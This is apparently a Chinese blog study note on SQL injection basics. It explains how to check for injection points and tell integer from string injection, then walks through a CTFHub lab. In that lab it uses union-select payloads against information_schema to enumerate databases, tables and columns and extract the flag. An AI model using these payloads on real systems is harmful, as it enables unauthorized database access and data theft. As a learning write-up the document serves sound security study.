4.2日报

本文详细介绍了SQL注入的基础概念,包括判断注入条件、类型区分、实操技巧如利用整数型和字符型注入、检测列数、查询数据库名和表列,以及在CTF挑战中的具体应用。
摘要由CSDN通过智能技术生成

1.SQL注入的前提

  1. 判断是否具备注入条件

    1. )可控参数如id=1,能否影响页面的显示结果
    2. )输入SQL语句的时候,是否报错,能否通过报错,看到数据库回显的一些语句痕迹
    3. )尝试使输入的语句不报错,使得成功闭合语句
  2. 判断是什么类型的注入

  3. 语句能否被修改

  4. 是否能够成功执行 

2.关于sql的理解

原理:SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。

通俗理解SQL注入,攻击者通过在输入数据中插入恶意的SQL代码,从而可能在数据库中执行未经授权的操作。

3.判断是字符型还是整数型

select xxx from xxx where xxx=1;   //整数型
select xxx from xxx where xxx='1'; //字符型
字符型不只是'',还有"",(''),(""),等等
整数型和字符型决定我们后面传参的数据
例如:
?id=3 order by 1 %23(#)                                   ?id=3"

?id=3' order by 1 %23(#)                                   ?id=3')...         ?id=3")...

4.实操

ctfhub(整数型注入)

1)判断注入点

输入1 2 3 ,到3的时候页面回显不一样,则证明该注入点存在sql漏洞

2.)判断列数

输入id=1 order by 1,等,当id =1 order by 3,开始报错

3.)两种方法查询库名

从元数据库查出当前数据库的所有表名

输入1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查询当前数据库

输入-1 union select 1,group_concat(schema_name) from information_schema.schemata

显示出两个库flag和news

group_concat()函数表示一次性全部显示,可在一行显示所有查询结果
在这里插入图片描述

4.)从元数据库查出当前数据库下的某个表下的所有列

输入select * from news where id=1 and 1=2 union select 1, group_concat (column_name) from information_schema. columns where table_name= 'flag'开始爆列名,发现还是flag

5.)从当前数据库下的某个表中的查某一列的信息

输入1 and 1=1 union select 1,concat_ws('>',flag) from flag发现flag没出来
 

再输入-1 union select 1,concat_ws('>',flag) from flag 找到了flag

其中-1是为了让前面查询的不存在,从而爆出回显位置

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值